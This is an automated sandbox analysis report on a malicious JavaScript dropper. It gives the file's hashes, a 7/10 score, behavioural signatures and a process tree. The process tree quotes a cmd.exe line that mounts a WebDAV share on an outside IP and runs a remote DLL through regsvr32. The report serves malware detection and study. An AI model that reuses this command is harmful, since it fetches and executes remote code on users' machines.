Analysis

  • max time kernel
    137s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 06:29

General

  • Target

    1677329796220526916.js

  • Size

    5KB

  • MD5

    28102842db738348645fe4c7b466decd

  • SHA1

    6762e9aad67cab001970ad32ae0b5cedc8f4a508

  • SHA256

    639165e7f9e43ef75400c823681c44f119267e79265aa8576a3c50aac544da11

  • SHA512

    1dd34f5da4ac17e51caa8b782ec404c0b68af2eda3937f21ffffbffbce8a9963e4942b9b81ba1c024aa0d019392a4b23613c13c8d38fa61dfdbfc291c067d5b6

  • SSDEEP

    96:jF0xMxxJN1SyS6vnDpOyS+9td1x+P+Pw0+bukUUU6pGAkVVdw0+bukUUU6pGpvn4:jXvttx+PCw7buypGAkVVdw7buypGpXA

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1677329796220526916.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\44781059432313.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2476
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3684

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads